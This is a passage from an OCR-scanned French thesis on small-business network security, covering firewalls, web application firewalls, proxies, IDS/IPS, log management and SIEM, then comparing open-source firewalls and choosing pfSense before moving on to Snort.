de maniere aléatoire) a la recherche d'une machine connectée, puis a chercher une faille de sécurité
afin de I'exploiter et d'accéder aux données s'y trouvant. Cependant, il est nécessaire, pour les réseaux
d'entreprises possédant une connexion de type cable ou ADSL, de se protéger des intrusions réseaux

en installant un dispositif de protection.

11.5.2.1. Que ce qu’un pare-feu :

Un pare-feu ou « firewall » est un systéme permettant de protéger un ordinateur ou un réseau
d'ordinateurs des intrusions provenant d'un réseau tiers. Le pare-feu est un systéme permettant de
filtrer les paquets de données échangés avec le réseau, il s'agit ainsi d'une passerelle.

Filtrante comportant au minimum deux interfaces réseau respectivement une interface pour le réseau a

protéger (réseau interne) et une interface pour le réseau externe.
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Le systeme firewall est un systéme logiciel, reposant parfois sur un matériel réseau dédié, constituant
un intermédiaire entre le réseau local (ou la machine locale) et un ou plusieurs réseaux externes. Il est

possible de mettre un systéme pare-feu sur n'importe quelle machine et avec n'importe quel systéme.
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Figure 2.7: Architecture d’une mise en place d’un pare-feu

11.5.2.2. Fonctionnement des systémes pare-feu :

Un systéme pare-feu contient un ensemble de régles prédéfinies permettant :

¢ D'autoriser la connexion (allow) ;

* De bloquer la connexion (deny) ;

* De rejeter la demande de connexion sans avertir 1'émetteur (drop).

* L'ensemble de ces regles permet de mettre en ceuvre une méthode de filtrage dépendant de
la politique de sécurité adoptée par l'entité. On distingue habituellement deux types de
politiques de sécurité permettant :

* Soit d'autoriser uniquement les communications ayant été explicitement autorisées

* Soit d'empécher les échanges qui ont ét¢ explicitement interdits.

* La premicre méthode est sans nul doute la plus slire, mais elle impose toutefois une définition

précise et contraignante des besoins en communication.

11.5.2.3. Le filtrage simple de paquets :

Un systéme pare-feu fonctionne sur le principe du filtrage simple de paquets « stateless packet
filtering ». 11 analyse les en-tétes de chaque paquet de données (datagramme) échangé entre une
machine du réseau interne et une machine extérieure. Ainsi, les paquets de données échangées entre
une machine du réseau extérieur et une machine du réseau interne transitent par le pare-feu et
possedent les en-tétes suivants, systématiquement analysés par le firewall :

* Adresse IP de la machine émettrice.
* Adresse IP de la machine réceptrice.
* Type de paquet (TCP, UDP, etc.)

¢ Numéro de port.
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11.5.2.4. Le filtrage dynamique de paquets :

Le filtrage simple de paquets ne s'attache qu'a examiner les paquets IP indépendamment les uns
des autres, ce qui correspond au niveau 3 dumodéle OSI (la couche réseaux). Or, la plupart des
connexions reposent sur le protocole TCP, qui gere la notion de session, afin d'assurer le bon
déroulement des échanges. D'autre part, de nombreux services (le FTP par exemple) initient une
connexion sur un port statique, mais ouvrent dynamiquement (c'est-a-dire de maniere aléatoire) un port
afin d'établir une session entre la machine faisant office de serveur et la machine cliente. Il est
impossible avec un filtrage simple de paquets de prévoir les ports a laisser passer ou a interdire. Pour y
remédier, le systéme de filtrage dynamique de paquets est basé sur l'inspection des couches 3 et 4 du
modele OSI (respectivement les couches réseaux et transport), permettant d'effectuer un suivi des
transactions entre le client et le serveur. Le terme anglo-saxon est « stateful inspection » ou « stateful
packet filtering », traduisez «filtrage de paquets avec état».Si le filtrage dynamique est plus
performant que le filtrage de paquets basique, il ne protége pas pour autant de 'exploitation des failles
applicatives, liées aux vulnérabilités des applications. Or ces vulnérabilités représentent la part la plus

importante des risques en termes de sécurité.

11.5.3. Le pare-feu applicatif (WAF) : {10

Les applications Web sont au cceur des entreprises dans les domaines de finance, commerce,
marketing, achats, etc. Pour protéger ces applications des menaces extérieures et assurer leur
continuité¢ de service a tout moment, les pare-feu applicatifs (Web Application Firewall, ou WAF)
répondant aux besoins de disponibilité des sites web internes et externes, la protection des données
sensibles, la sécurisation des application web métiers, la sécurité des applications mobiles ainsi que la

réduction des risques d’usurpation d’identité et d’acces au fonctionnalités ou données illégitimes.

11.5.3.1. Fonctionnalités des pare-feu applicatif :

Le pare-feu applicatif est développé pour deux fonctionnalités majeures permettant de répondre
de facon optimale au besoin croissant de protection de données de I’entreprise :
La prévention est composée de cartographie des applications et identification des ressources et
I’évaluation des risques potentiels. La protection des trois principales menaces est I’interception et
filtrage du trafic applicatif, 1’identification des menaces et détection des comportements anormaux et

la généralisation automatis¢ de politiques de sécurité granulé.

11.5.3.2. Les Avantages des pare-feu applicatif :

Les WAF a plusieurs bénéfices pour les entreprises, il assure donc un haut niveau de protection
pour toutes les applications du Systéme d'Information, il garantit la disponibilité et la continuité des
services et accélérer les performances des applications grace au Reverse Proxy.
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I11.5.4. Les Proxy : [

Un serveur proxy «proxy server», appelé aussi «serveur mandataire» est a l'origine une
machine faisant fonction d'intermédiaire entre les ordinateurs d'un réseau local (utilisant parfois
des protocoles autres que le protocole TCP/IP) et internet. La plupart du temps le serveur proxy est
utilisé pour le web, il s'agit alors d'un proxy HTTP. Toutefois il peut exister des serveurs proxy pour
chaque protocole applicatif (FTP).

Le principe de fonctionnement basique d'un serveur proxy est assez simple : il s'agit d'un serveur
"mandaté" par une application pour effectuer une requéte sur Internet a sa place. Ainsi, lorsqu'un
utilisateur se connecte a internet a 'aide d'une application cliente configurée pour utiliser un serveur
proxy, celle-ci va se connecter en premier lieu au serveur proxy et lui donner sa requéte. Le serveur
proxy va alors se connecter au serveur que l'application cliente cherche a joindre et lui transmettre la
requéte. Le serveur va ensuite donner sa réponse au proxy, qui va a son tour la transmettre a

l'application cliente.

11.5.4.1. Mode Transparent :

% Principes de fonctionnement:

Dans le mode transparent, le WAF se comporte comme un fil au niveau réseau. Il peut par
conséquent étre déployé sans avoir aucun impact sur 1’architecture, tant au niveau physique qu’au
niveau IP. En mode transparent le WAF ne réalise aucune modification de I’adresse IP du client et du
serveur web. Il est donc transparent a la fois au client et pour le serveur. La facilité et la rapidité de
déploiement de ce type de WAF sont ses principaux avantages. En outre, le fait qu’il n’ait aucun role
actif dans D’infrastructure permet de le déployer en mode « fail-open ». Cela signifie qu’en cas de
dysfonctionnement ou de surcharge le WAF met automatiquement en ceuvre un mécanisme
désactivant la 1’intégrité de ces fonctions et permet le transfert de données sans effectuer aucune
opération et par conséquent sans aucun impact sur le trafic. En dehors du filtrage applicatif, les WAF
en mode transparent restent limités en termes de fonctionnalités et leur principal avantage est la

simplicité de déploiement et I’absence d’impact sur I’architecture réseaux.

< Architecture :

Le mode transparent impose que le WAF soit mis en ceuvre sur un lien physique supportant
I’intégrité du trafic a destination des serveurs a protéger. Cela impose de laisser les équipements a
protégés dans des zones de sécurité accessible depuis I’extérieur. Idéalement ces équipements seront
déployés sur les liens de concentration des flux avant leur distribution vers les liens serveurs.

Une architecture de ce type peut se définir comme dans le cas ci-dessous :
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Firewall LAN

Figure 2.8 : Déploiement du WAF en mode transparent sans haute disponibilité

11.5.4.2. Mode Reverse-proxy : =

¢ Principes de fonctionnement:

Le mode reverse-proxy et le mode le plus commun de déploiement des WAF. Il consiste a faire
apparaitre le WAF comme le serveur web de point de vue de 1’utilisateur.
Schématiquement, un WAF fonctionnant en mode reverse-proxy recoit les requétes de I’utilisateur, les
analyses, puis transmet au serveur réel si aucune menace n’est identifiée. Il apparait alors pour le
serveur en comme le client. Les réponses lui sont retournées, de nouveaux analysés puis envoyés au

client réel.

Figure 2.9: Architecture en reverse-proxy

Ce mode fonctionnement présente de nombreux avantages tant en termes de sécurité qu’en
terme de performances ou d’intégration dans des architectures complexes.
D’un point de vue sécuritaire ce mode opératoire permet de en premier lieu de masquer 1’infrastructure
hébergeant I’application web. En effet le seul point d’acces étant le reverse-proxy, 1’utilisateur n’a par
conséquent aucune visibilit¢ de cette infrastructure. Le fonctionnement en reverse-proxy permet

¢galement d’effectuer une rupture protocolaire dans la mesure ou la session de http ou HTTPS est
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terminée par le WAF, lequel on initie une nouvelle vers le serveur réel. Il est donc nécessaire que le
WAF « comprenne » I’intégralité des ¢léments de la requéte et que par conséquent cette derniere se
doit d’étre correctement construite, conformément aux spécifications du protocole. Une requéte
malformé sera donc naturellement rejetée par le WAF. En outre, les différents ¢léments soumis par le
client doivent étre compris par le WAF, ce qui impose de ce dernier décode les requétes du client.
Ainsi les tentatives de contournement des filtres basé sur I’encodage en « hexadécimal » en
« Unicode » seront également rejetées si elles ne peuvent pas décodées. En ce qui concerne les
performances, le positionnement en coupure permet non seulement de mettre en ceuvre des fonctions
de cache et de compression mais également d’appliquer des mécanismes de multiplexage des
connexions.

En fin le mode reverse-proxy offre de nombreuses possibilités de déploiement sécurisé telles que la
mise en place d’architectures Multi-DMZ.

Le mode reverse proxy est plus difficile a mettre en ceuvre que le mode transparent. Toutefois, il offre
une grande richesse en terme de fonctionnalités et permet de disposer d’une architecture apte a grandir

si la charge augmente de facon conséquente.

% Architecture :

Le principale avantage du déploiement en reverse proxy est que le WAF peut étre mis dans une
DMZ publique alors que le reste de I’infrastructure Web est localisé dans une zone privé a laquelle
aucun systeéme externe n’est autorisé¢ a accéder.

Dans un schéma le plus simple, une architecture type peut se définir comme la figure ci-dessous :

Routeur

d’acces
DMZ publique .
Firewall
-
WAF bl \l L
& J

DMZ privée

Figure 2.10 : Déploiement de WAF en reverse-proxy
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I1.5.5. Les IPS et IDS :

I1.5.5.1. Intrusion et Détection des System (IDS) : {13

Détection des intrusions est le processus de surveillance des événements se trouvant dans un
systéme des ordinateurs ou du réseau et les analysant pour détecter les signes des intrusions, défini
comme des tentatives pour compromettre la confidentialité, intégrité, disponibilité ou éviter des
mécanismes de sécurité de 1’ordinateur ou du réseau. L’intrusion est causée par les attaques accédant
au systéme via D’Internet, autorisée |’utilisateur du systéme qui essayer a gagner les priviléges
supplémentaires pour lesquels ils n’ont pas autorisés, et autorisé les utilisateurs qui abusent les
priviléges donnés.

Le systéme de détection des intrusions est un logiciel ou un matériel qui automatise des surveillances
et les processus analysés Nous avons plusieurs types de I'IDS disponibles de nos jours qui sont
caractérisés par des surveillances différentes et des approches d’analyse on cite essentiellement deux

types des IDS, comme suit :

s Network-Based IDS (NIDS):

Le role essentiel d'un IDS réseau est l'analyse et l'interprétation des paquets circulant sur ce
réseau. L implantation d’un NIDS sur un réseau se fait de la fagon suivante : des capteurs sont placés
aux endroits stratégiques du réseau et générent des alertes s’ils détectent une attaque. Ces alertes sont
envoyées a une console sécurisée, qui les analyse et les traite éventuellement. Cette console est
généralement située sur un réseau isolé, qui relie uniquement les capteurs et la console.

On mentionne comme suit les avantages et les limites des NIDS :

* Les avantages :

Le NIDS peut surveiller un grand réseau. Le déploiement de NIDS a peu d'impact sur un
réseau existant. Les NIDS sont habituellement des dispositifs passifs qui écoutent sur un fil de réseau
sans interférer I'opération normale d'un réseau. Ainsi, il est facile de monter en rattrapage un réseau

pour inclure un IDS avec 1'effort minimal.

* Les limites :

Il est difficile a traiter tous les paquets circulant sur un grand réseau. De plus il ne peut pas
reconnaitre des attaques pendant le temps de haut trafic. Quelques fournisseurs essayent a
implémenter le IDS dur le matériel pour qu’il marche plus rapidement. Plusieurs des avantages
d’NIDS ne peuvent pas étre appliqué pour les commutateurs modernes. La plupart des commutateurs

ne fournissent pas des surveillances universelles des ports et limitent la gamme de surveillance de
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NIDS .Méme lorsque les commutateurs fournissent de tels ports de surveillance, souvent le port simple
ne peut pas refléter tout le trafic traversant le commutateur.

NIDS ne peut pas analyse des informations chiffrées (cryptées). Ce probléme a lieu dans les
organisations utilisant le VPN.

La plupart de NIDS ne peuvent pas indiquer si un attaque réussi ou non. Il reconnait seulement qu’une
attaque est initialisée. C'est-a-dire qu’aprés le NIDS détecte une attaque, I’administrateur doit
examiner manuellement chaque host s’il a été en effet pénétré. Quelques NIDS provoquent des paquets

en fragments. Ces paquets mal formés font devenir I’IDS instable.

< Host Based IDS :

Les systemes de détection d'intrusion basés sur I'hote ou HIDS (Host IDS) analysent
exclusivement l'information concernant cet hdte. Comme ils n'ont pas a controler le trafic du réseau
mais "seulement" les activités d'un hote ils se montrent habituellement plus précis sur les types
d'attaques subies. Comme les NIDS, les HIDS posséde un certain nombre d’avantages et des

importants inconvénients :

* Les avantages :

Pouvoir surveiller des événements local jusqu’au host, détecter des attaques qui ne sont pas
vues par NIDS
Marcher dans un environnement dans lequel le trafic de réseau est encrypté, lorsque les sources des
informations de host-based sont générées avant 1’encrypte des données ou aprés le décrypte des
données au host de la destination.
HIDS n’est pas atteint par le réseau commut¢.
Lors que HIDS marche sur la trainé de I’audit de SE, ils peuvent détecter le Cheval de Troie ou les

autres attaques concernant a la bréche intégrité de logiciel.

* Les inconvénients :

HIDS est difficile a gérer, et des informations doivent configurées et gérées pour chaque host
surveillé. Puisque au moins des sources de I’information pour HIDS se résident sur I’host de la
destination par les attaques, I’IDS peut étre attaqué et neutralisé¢ une partie de 1’attaque.

HIDS n’est pas bon pour le balayage de réseau de la détection ou pour la surveillance qui s’adresse au
réseau entier parce que le HIDS ne voit que les paquets du réseau regus par ses hosts.

HIDS peut étre neutralisé par certaine attaque de DoS

Lorsque HIDS emploie la trainé¢ de 1’audit du SE comme des sources des informations, la somme de

I’information est immense, alors il demande le stockage supplémentaire local dans le systeme.
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11.5.5.2. Intrusion Prévention System (IPS) : {14

Faute de mouvoir maitriser correctement les fausses alertes, la plupart des systémes actuels
d’IDS sont voués a disparaitre ou a évoluer grandement. L’apparition sur le marché de la sécurité
informatique des systémes IPS est trés récent et résulte de la nécessité d’améliorer, encore et toujours,
les solutions existantes ayant prouvées leurs limites. Les IPS n’existent pas vraiment en tant que
technologies bien définies mais plutét en tant que concepts que tentent de mettre en ceuvre les
différents acteurs du marché a travers de multiples technologies et solutions de sécurité. Le systéme
d’empéchement d’intrusion a pour but d’empécher des intrusions attaquant au moment qu’il arrive.
Tandis que le systéme de détection a le role d’identifier des intrusions et vous annoncer. Tous sont

basés sur 1’analyse le systéme pour détecter et empécher des activités malveillantes.
I11.5.6. Log Management :

11.5.6.1. Définition :

On devise le monde du Log Management en deux parties bien distinctes :
* La centralisation/collecte/rétention
* L'agrégation/corrélation (SIEM)
Le Log Management s'applique a toutes les utilisations possibles des logs.
Il est doté d'une Sortie élevé, accepte une grande capacité de rétention, collecte et stocke les logs au
format brut, il a une grande capacité de rapports et une recherche trés rapide. Il est orienté vers

I’investigation.

11.5.6.2. Les étapes de log management :

J Log ignorance

Les logs ne sont pas collectés ni revus.
. Log collection
Les logs sont collectés mais jamais revus.

N Log investigation

Les logs sont collectés et revus en cas d'incident.

o Log reporting

Les logs sont collectés, des rapports sont générés et analysés chaque moi.
. Log review
Les logs sont collectés et analysés chaque jour.

. Log Monitoring

Les informations de sécurité sont analysées en temps réel.
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Le Log Monitoring est la derniére étape, nous constatons qu’elle est 1’étape résultat des cing
premicres étapes.

Quelle est donc I’importance de Log monitoring dans un SIEM ?

I11.5.7. La supervision (Monitoring) A0

Une grande majorité des logiciels de supervision sont basés sur le protocole SNMP qui existe
depuis de nombreuses années.
La plupart de ces outils permettent de nombreuses fonctions dont voici les principales :

e Surveiller le systéeme d’information

* Visualiser I’architecture du systéme

* Analyser les problemes

* Déclencher des alertes en cas de problémes

* Effectuer des actions en fonction des alertes
La tache de I’administrateur est alors simplifiée. Il n’a plus qu’a faire une vérification ou réaliser une
action en fonction d’une alerte déclenchée. Chaque outil doit aussi lui donner une vision globale du

systeme d’information pour localiser les problémes le plus rapidement possible.

11.5.8. SIEM : 19

11.5.8.1. Définition :

Les SIEM sont des outils de supervision de la sécurité, ils utilisent les informations en
provenance de divers équipements et logiciels de sécurité. Les SIEM combinent deux éléments:

«» Les SIM (Security Information Management) :

Outils de supervision de la sécurité qui se concentrent principalement sur [’analyse
d’informations de sécurité passées, en vue d’améliorer I’efficacité pour la gestion a long terme du

systéme d’information.

% Les SEM (Security Event Management) :

Outils de supervision de la sécurité s’orientant sur la collecte de données dans le but de fournir
une grande quantité¢ d’informations pouvant étre traitées immédiatement. La fusion des SIM et des
SEM dans un processus intégré de controle de la sécurité avec des informations pertinentes recueillies

dans I’infrastructure du systéme d’information est résumée sous le terme de SIEM.
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11.5.8.2. Mode de fonctionnement :

Les SIEM utilisent des étapes de récupération, analyse et gestion de I’information, ce sont la

collecte, la normalisation, I’agrégation, la corrélation, le reporting et la réponse.

s La collecte :

Le principe de I’étape de collecte est de fournir au SIEM des données a traiter.
Ces données peuvent étre de nature diverse en fonction de 1I’équipement ou du logiciel, mais aussi étre

envoyées de manicres tout a fait différentes. On distingue deux modes de fonctionnement :

Mode actif : Le SIEM posséde un ou plusieurs agents déployés sur les équipements a superviser. Ces
agents ont pour fonction de récupérer les informations des équipements et logiciels de sécurité et de les
envoyer au SIEM. Un élément de sécurité qui a été congu nativement pour étre un agent du SIEM est

appelé une sonde.

Mode passif: Le SIEM est en écoute directe sur les équipements a superviser. Pour cette méthode,

c’est I’équipement ou le logiciel qui envoie des informations sans intermédiaire au SIEM.

«* La normalisation :

Les informations collectées viennent d’équipements et logiciels hétérogénes ayant pour la
plupart leurs propres moyens de formater les données. Cette étape permet d’uniformiser les
informations selon un format unique pour faciliter le traitement par le SIEM. Des formats sont mis au
point par IETF pour structurer les informations de sécurité et pouvoir les échanger et les traiter plus
facilement.

C’est pourquoi il est plus judicieux de les énuméré.

o IDMEF (Intrusion Détection Message Exchange Format) :

C’est un standard, défini dans la RFC 4765, permettant 1’interopérabilité entre les systémes
commerciaux, open-source et de recherche. Il est basé sur le format XML et est un format congu pour
définir les évenements et des alertes de sécurité. Il est également adapté pour le stockage en base de
données, ’affichage et la gestion des informations.

e JODEF (Incident Object Description and Exchange Format) :

C’est un standard, défini dans la RFC 5070, représentant les informations de sécurité échangées
entre les équipes CSIRTs (Computer Security Incident Response Teams). Il est basé sur le format
XML et est un format congu pour transmettre des incidents de sécurité entre les domaines
administratifs et les parties qui ont une responsabilité opérationnelle. Ce modele de données encode

I’information des hétes, des réseaux, des services...
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% L’agrégation :

L’agrégation est le premier traitement des événements de sécurité. Il consiste en un
regroupement d’événements de sécurité selon certains critéres. Ces critéres sont généralement définis

via des régles appelées régles d’agrégation et s’appliquent a des évenements ayant des similarités.

s La corrélation :

La corrélation correspond a I’analyse d’évenements selon certains critéres. Ces critéres sont
généralement définis via des régles appelées reégles de corrélation. Le but de cette étape est d’établir
des relations entre événements, pour ensuite pouvoir créer des alertes de corrélations, des incidents de

sécurités, des rapports d’activité. La corrélation se différencie sur plusieurs points :

Auto-apprentissage et connaissances rapportées: Pour pouvoir fonctionner, les moteurs de

corrélation ont besoin d’informations sur les systémes et réseaux de D’infrastructure. Ces informations
Y

peuvent étre collectées automatiquement et/ou saisies manuellement par un opérateur.

Temps réel et données retardées : Dans certains cas, les événements bruts sont forgés et envoyés

directement pour étre corrélés en temps réel. Dans d’autres cas, les événements sont d’abord stockés,

et envoy¢s apres un premier traitement (ex : agrégation), leur envoi peut étre alors conditionné.

Corrélation active et passive : La corrélation active a la possibilité de compléter les événements regus

en recueillant des informations supplémentaires pour prendre des décisions. La corrélation passive est
une corrélation qui ne peut pas interagir avec son environnement, elle regoit des événements et prend

des décisions.

** Gestion des alertes :

Il y a plusieurs fagons pour un SIEM de gérer des alertes, plusieurs d’entre elles peuvent étre
utilisés simultanément :

Le « reporting » : Les rapports générés contiennent a la fois une synthése des alertes et une vue

d’ensemble de la sécurité du systéme a un instant T (statistiques, intrusions, vulnérabilités exploitées,

classification des attaques).

Le stockage : Les alertes, incidents et rapports peuvent étre stockés dans des bases de données pour

pouvoir étre analysés ultérieurement par des moteurs de corrélation.

La réponse : Les mécanismes de réponse aux alertes doivent permettre de stopper une attaque ou de
limiter ses effets de fagon automatique. La réponse a une intrusion dépend de la politique de sécurité.

Voici un schéma explicatif du mode de fonctionnement des SIEM.

30



Conclusion :

Systéme
d’information

Mode .‘a.h‘I 1!.'-:-:-.‘ passf
—

SIEM

Collecte

'

Normalisation

'

Agrégation

'

Corrélation

'

Gestion des
alertes

— T

Reporting Réponse

Stockage

Figure 2.11 : Mode de fonctionnement d’un SIE

D’aprés ce que nous avons vu dans les deux premiers chapitres, on est certain que la sécurité

informatique est de plus en plus importante a cause des vulnérabilités, des attaques, et I’ingénierie

sociale.

Les deux prochains chapitres seront dédiés aux choix techniques choisis basés sur les outils open

source, a la configuration des logiciels et aux résultats obtenus.
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Cﬁqpitre 3

Ftude comparative

Introduction :

Nous avons vu dans les deux chapitres précédents les équipements et les outils nécessaires pour
améliorer la sécurité réseaux de petites entreprises.
Pour cela nous avons spécifié ce troisiéme chapitre pour faire une étude comparative sur les logiciels
open source a fin de justifier notre choix et savoir les fonctionnalités des logiciels libres, leurs

avantages, leur fiabilité et leur 1’efficacité.

II1.1. Comparaison des Firewalls : """

De nos jours, la plupart des entreprises possedent de nombreux postes informatiques qui sont en
général reliés entre eux par un réseau local. Ce réseau permet d'échanges des donnés entre les divers
collaborateurs internes a I'entreprise et aussi de s'ouvrir vers le monde extérieur. Ouvrir l'entreprise
vers le monde extérieur signifie laisser une porte ouverte a divers acteurs étrangers. Cette porte peut
étre utilisée pour des actions qui, si elles ne sont pas contrdlées, peuvent nuire a I'entreprise. Pour parer
a ces attaques, une architecture de réseau sécurisée est nécessaire.

Cette architecture doit comporter un composant essentiel qui est le firewall.

II1.1.1. Cas de Netfilter :

1I1.1.1 Définition :

Netfilter est la solution native de filtrage réseau sous Linux. Cette solution est plus connue sous

le nom iptables.

11.1.1.2. Les avantages de Netfilter :

Filtrer le trafic selon des critéres trés divers : sous-réseau d'origine, de destination, ports, heure

de la journée.
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Il dispose de modules permettant le suivi d'état de protocoles tels que FTP ou H.323, qui nécessitent

une inspection des paquets au niveau 7.

11.1.1.3. Les inconvénients de Netfilter :

Le principal défaut est son systeme de configuration:
Il se configure par 1'exécution successive d'un certain nombre de commandes iptables, a la syntaxe peu
intuitive.
Il n'existe pas de moyen simple pour permettre la tolérance de panne ou la répartition de charge de
firewall sous Linux.

Il n'offre aucun moyen de mettre en place un cluster dédié au filtrage

II1.1.2. Cas de Smoothwall :

1I1.1.2.1. Définition :

Smoothwall est une distribution Open Source sous licence GPL. C'est un systeme d'exploitation
basé sur RedHat Linux (devenu plus tard Fedora Core Project)
Il est a noter que le filtrage de smoothwall Express est basé sur iptables, le module de filtrage de noyau

linux.

111.1.2.2. Les fonctionnalités de Smoothwall :

Les fonctionnalités assurées par défaut par Smoothwall sont les suivantes :

* Possibilité d’administration via une interface web.

* Consultation de 1’état de la machine sur laquelle est installé le pare-feu (état de la
mémoire et les disques durs). Supervision du trafic réseau en temps réel sur les
différentes cartes.

* Services de proxy web, SIP, POP3, IM.

e Service dhcp.

* Service dns (statique et dynamique).

* Service de temps NTP.

* Acces distant via SSH.

e Systéme de détection d’intrusions.

* VPN IPSec.

* Filtrage (par état).

* NAT.

* Priorité de trafic et QoS.

e Consultation de différents types de logs.
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* Possibilités de maintenance (mise a jour du systéme ou de pilotes, backup, add on...).

II1.1.3. Cas d’IPCop :

1I1.1.3.1. Définition :

IPCop est a 'origine un fork de Smoothwall Express. Ceci signifie qu'IPCop est basé sur linux

Red hat. 11 est distribué sous licence GPL.Il fonctionne aussi sur du matériel non propriétaire.

1I1.1.3.2. Les fonctionnalités d’IPCop :

IPCop partage avec Smoothwall plusieurs fonctionnalités et s'en démarque par d'autres.
Par exemple, IPCop ne propose pas de proxy IM ou proy POP3. il supporte par contre le "VLAN
trunking" définit par la RFC 802.1Q. Le protocole telnet et le protocole d'encapsulation de niveau 2
L2TP. La supervision de trafic en temps réel n'est aussi pas possible sur [PCop.
Plusieurs fonctionnalités peuvent étre ajoutées au pare-feu IPCop via des add-on afin de mieux le

personnaliser.

1I1.1.4. Cas de Vyatta :

1I1.1.4.1. Définition :

La solution pare-feu de la société Vyatta existe en deux exemplaires. Le premier est payant, le
second est libre. Vyatta se veut d'étre un congurent direct aux produits Cisco et fonctionne sur le

matériel non propriétaire qui coute beaucoup moins cher, chose non vraie pour les produits Cisco.

111.1.4.2. Les fonctionnalités de Vyatta :

Coté fonctionnalités, on peut dire que Vyatta Community Edition se distingue des autres produits
libres qu'on vient d'énumérer. Vyatta Community Edition offre des services de haute disponibilité,
possibilités de VPN SSL. Toutes les fonctionnalités qu'on trouve dans les produits Cisco sont

présentes dans la solution Vyatta. A noter la présence d'un IPS au lieu d'un simple IDS.

IIl.1.5. Cas de mOnOwall :

1I1.1.5.1. Définition :

MOnOwall est un systéme d’exploitation pare-feu libre basée sur le noyau FreeBSD et non pas
linux. La particularit¢ de mOnOwall est qu’il est le premier systeme d’exploitation de type UNIX
démarrant a partir d’une séquence de boot basée exclusivement sur des fichiers d’extension .php au
lieu des scripts shell classiques. MOnOwall est aussi le premier pare-feu a stocker ’intégralité¢ de sa

configuration dans un unique fichier (de type xml).
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1I1.1.5.2. Les fonctionnalités de mOnOwall :

D’autres fonctionnalités qu’on n’est pas habitué¢ a trouver dans les autres pare-feu sont par contre

présentes dans mOnOwall. On en site surtout I’option portail captif et le service SNMP.

II1.1.6. Cas de PfSense :

1I1.1.6.1. Définition :

PfSense est le descendant de mOnOwall. C’est donc un systéme d’exploitation pare-feu basé sur
le noyau FreeBSD et sur le module de filtrage « ipfw ». La configuration de PfSense est stockée dans

un seul fichier xml a ’instar de mOnOwall. La séquence de démarrage est aussi fondée sur des fichiers

php.

1I1.1.6.2. Les fonctionnalités de PfSense :

Par rapport a mOnOwall (son ancétre), Pfsense offre en plus les possibilités suivantes :

¢ Common Address Redundency Protocol (CARP) et PFsync (synchronisation entre machines
PFSense)

* Possibilités d’alias étendue (alias pour interfaces réseau, utilisateurs...).

* Configuration XML de synchronisation entre maitre et hote de backup permettant de faire un
point unique d’administration pour un cluster pare-feu. La synchronisation est assurée via
XML-RPC.

* Equilibrage de charge (load balancing) pour les trafics entrant et sortant.

* Graphes montrant les statuts des files d’attentes.

¢ Support du protocole SSH pour 1’acces distant.

e Support de multiples interfaces réseaux WAN.

e Serveur PPPoE.

1I1.1.7. Tableau comparatif des Firewalls :

Nous présentons ci-dessous trois tableaux comparatifs des différentes solutions pare-feu libres
qu’on vient de présenter. Notez aussi que « X » signifie que la fonctionnalité est présente et que le

signe « _ » signifie qu’elle est absente :

Smoothwall Vyatta IPCOP PFSence MOnOwall
Express Community
services
proxy web X X X ajouter
Squid
proxy IM X

Tableau 3.1: Comparaison des firewalls (1/3)
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proxy SIP

Dhcp

dns statique
dns dynamique
dns forward
telnet

Ssh

NTP (serveur de
temps)

taches
programmeées

webGUI via HTTP
webGUI via HTTPS

VPN
IPSec
PPTP
L2TP
clés RSA
DES
3DES
AES

Haute disponibilité

Load Balance
Multi-WAN

Capacité de
Failover

QoS

Priorité selon type

de trafic

Lissage de trafic
(limitation)

Outils
connectivité
(webGUI)

traceroute
ping

whois

Smoothwall
Express

X
X

X

X

X

Vyatta
Community

IPCOP

PFSence

Tableau 3.2: Comparaison des firewalls (2/3)

MOnOwall
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Smoothwall Vyatta IPCOP PFSence MOnOwall

Express Community
Filtrage et
sécurité
Avec état X X X X X
Filtrage d’URL add-On X add-on
Filtrage de contenu add-On X add-on
web

Temps d’acces par X

utilisateur

IDS X X X
Antivirus web x - x
(HTTP/FTP)

Email x - add-on

AntiVirus/AntiSpam

Hotspot/Portail - - - X X
captif

Routage
NAT (dynamique) x - x x x
1:1 NAT (SNAT) - x - x x

Port Address X X X X
Translation

Politique de - X - X
Routage (Policy
Routing)

Support de VLAN - X
Trunking (802.1Q)

Licence GPL GPL GPL BSD BSD

Ordonnancement statique statique statique statique statique
des régles
de filtrage

Administration

Recherche de mises x - - X

a jour

mises a jour - - - X

automatique

backup X X X X X
add-on X - X X X

Tableau 3.3: Comparaison des firewalls (3/3)

Aprés une recherche approfondie, on a choisi le pare-feu PfSense pour des raisons bien
déterminées. Tout d’abord, PfSense comporte pratiquement toutes les fonctionnalités des autres pare-

feu, ensuite, on peut ajouter d’autres fonctionnalités tel que les IDS ou un reverse-proxy.
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PfSense comporte aussi une configuration simplifiée et une interface graphique bien structurée peut
étre commandée a distance avec le support de protocole SSH, enfin PfSense est trés efficace au niveau
des régles de filtrage du réseau. PfSense et tous les autres firewalls sont trés similaires en matiere de
fonctionnalités générales, et seuls quelques cas particuliers peuvent faire pencher la balance de facon

définitive.

I11.2. Comparaison des NIDS :

Le systetme de détection d’intrusion est en voie de devenir un composant critique d’une
architecture de sécurité informatique, un IDS est essentiellement un sniffer couplé avec un moteur qui
analyse le trafic selon des régles. Pour implémenter un IDS dans notre réseau, il nous faut avoir une

vue générale sur les logiciels open source des IDS.

II1.2.1. Cas de Snort : 118

11.2.1.1. Définition :

Snort est un NIDS (Network Intrusion Detection System ou Systéme de Détection d’Intrusion
Réseau en francais). Comme ses initiales le suggeérent, un NIDS sert a détecter les tentatives
d’intrusion, pour ce faire, il compare le trafic réseau a une base de données des attaques connues. Le
cas échéant, il exécute une action pré-définit, qui va nous prévenir afin de verrouiller le réseau.
S.N.O.R.T. nous permettant de détecter d’éventuels intrusions, et de gérer vos logs et sniffer le réseau.
Nous détaillerons ici, I’installation a partir des sources, bien que de nombreuses distributions soient
livrées avec un paquetage snort. Ce choix est motivé par deux choses : d’abord le fait qu’il soit
impossible d’étudier toutes les variations introduites par les distributions, mais surtout pour un logiciel
aussi sensible, il est préférable d’en maitriser tous les rouages. Néanmoins, la plus part des principes
expliqués ici, sont translatables vers les paquets binaires de votre distribution, moyennant quelques

adaptations.

11.2.1.2. Les avantages de Snort :

* Open source

* Large communauté d'utilisateurs
* Beaucoup de contributions

* Beaucoup de documentations

* Bonne base de signatures

* Mise a jour des regles.

e  Modifiable
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11.2.1.3. Les fonctionnalités de Snort :

Au niveau couverture des attaques pas sa base de signatures, Snort est largement au niveau des
produits commerciaux. Seul 1’aspect administration est délicat a gérer: les nouvelles signatures
doivent étre récupérées manuellement sur le site. De plus, la console d’administration BASE (Basic
Analysis and Security Engine, anciennement ACID) ne permet pas de déployer les signatures sur
chaque sonde.

Des plugins peuvent étre développés par les utilisateurs : préprocesseurs exécutés avant le moteur de
